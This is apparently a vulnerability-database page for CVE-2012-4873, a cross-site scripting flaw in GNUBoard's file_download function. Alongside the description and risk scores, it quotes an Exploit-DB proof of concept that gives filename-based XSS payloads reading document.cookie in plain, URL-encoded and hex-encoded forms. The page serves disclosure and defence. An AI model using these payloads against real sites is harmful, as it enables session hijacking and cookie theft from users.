CVE-2012-4873

medium

Published 2012-09-06 · Modified 2026-04-29

💬 Discuss on Community ✚ Propose mitigation

CVSS v3

—

CVSS v4 NEW

—

not yet in upstream

VIR risk

5.3

Description

Cross-site scripting (XSS) vulnerability in the file_download function in GNUBoard before 4.34.21 allows remote attackers to inject arbitrary web script or HTML via the filename parameter.

Predictions

Exploit likelihood

20%

Patch ETA

—

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.

✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-36973 webapps php verified text · 2 KB

wh1ant · 2012-03-20

GNUBoard 4.34.20 - 'download.php' HTML Injection

text exploit Source: Exploit-DB

source: https://www.securityfocus.com/bid/52622/info

Gnuboard is prone to an HTML-injection vulnerability because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

Attacker-supplied HTML and script code would run in the context of the affected website, potentially allowing the attacker to steal cookie-based authentication credentials or control how the site is rendered to the user.

Gnuboard versions prior to 4.34.21 are vulnerable.

1) you can upload a file (e.g. a.txt) to the BBS.
2) you can download it from the following scripts and figure out what's working on.
   ### vulnerable code #########################################################################################################################
   javascript:file_download('./download.php?bo_table=test&wr_id=13&no=0&sca=&sfl=&stx=&sst=&sod=&spt=0&page=0', 'a.txt');
   #############################################################################################################################################
3) you can also upload a file with name of XSS code. The following is the example.
   - ');alert(document.cookie);//
   - %27);alert(document.cookie);%2f%2f
   - %27%29%3b%61%6c%65%72%74%28%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%29%2f%2f
   ### vulnerable code #########################################################################################################################
   javascript:file_download('./download.php?bo_table=test&wr_id=13&no=0&sca=&sfl=&stx=&sst=&sod=&spt=0&page=0', '');alert(document.cookie);//');
   #############################################################################################################################################
4) The example file works by pulling in the Javascript and running it as part of the Javascript.

Application impact

Vendor	Product	Versions	Fixed
sir	gnuboard	`{"endIncluding":"4.34"}`

References

CWEs

CWE-79

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.